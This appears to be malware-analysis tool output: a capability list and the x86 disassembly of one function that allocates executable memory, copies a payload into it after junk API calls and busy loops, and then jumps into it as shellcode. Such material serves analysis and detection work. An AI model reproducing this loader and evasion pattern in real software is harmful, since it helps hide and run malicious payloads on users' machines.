Function at 0x404530
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Get hostname
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
cmp esi, 0xb7e4ee2
jg 0x404559
inc esi
cmp esi, 0x73f04bd
jl 0x404544
cmp dword [0x455afc], 0x400
jne 0x4045bf
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
push 0x403fd8
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
push 0
push 0
call fcn.00404bb6
push 0
call fcn.00404e82
add esp, 0xc
push 0
call fcn.004051e1
push ecx
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00405050
fstp st(0)
add esp, 8
cmp dword [0x455afc], 0x93
jne 0x40461a
xor ecx, ecx
lock bts dword [ecx], 0
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x404038
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call fcn.00404ede
add esp, 4
push 0
push 0
call fcn.00404f0d
add esp, 8
call fcn.00404520
push 0
push 0
call fcn.0040502f
add esp, 8
mov eax, dword [0x455afc]
mov ecx, dword [0x450c84]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push 0
mov dword [0x456938], ecx
mov dword [0x455afc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x45558c], eax
mov esi, 0x1692e
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x404650
cmp dword [0x455afc], esi
jbe 0x4046ba
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
nop
mov edx, dword [0x456938]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x45558c]
mov byte [ecx + esi], al
cmp dword [0x455afc], 0x490
jne 0x4046b1
push 0
push 0
call edi
push 0x404048
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [ebp - 4]
push edx
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
call ebx
inc esi
cmp esi, dword [0x455afc]
jb 0x404670
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor esi, esi
mov ecx, dword [0x455afc]
add ecx, esi
cmp ecx, 0x8d
jne 0x404700
push 0
lea edx, [ebp - 0x41c]
push edx
push 0
push 0
push 0
push 0
call edi
lea eax, [ebp - 4]
push eax
call ebx
push 0x404080
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc esi
cmp esi, 0x38681
jl 0x4046c8
call fcn.00404410
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404722
call ebx
cmp esi, 0x207142
jg 0x404733
inc esi
cmp esi, 0x67d12
jl 0x404718
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x404753
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov ecx, dword [ebp - 4]
add dword [0x45558c], ecx
inc esi
cmp esi, 0x674bd
jl 0x404735
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 4], 0x7b
jmp 0x404780
cmp dword [0x455afc], 0x86
jne 0x4047bb
push 0x404098
call esi
push 0
lea edx, [ebp - 0x81c]
push edx
push 0
call edi
push 0x4040d0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x455afc], 0xf
jne 0x4047d2
push 0
push 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
sub dword [ebp - 4], 1
jne 0x404780
push 0x404128
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x45558c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret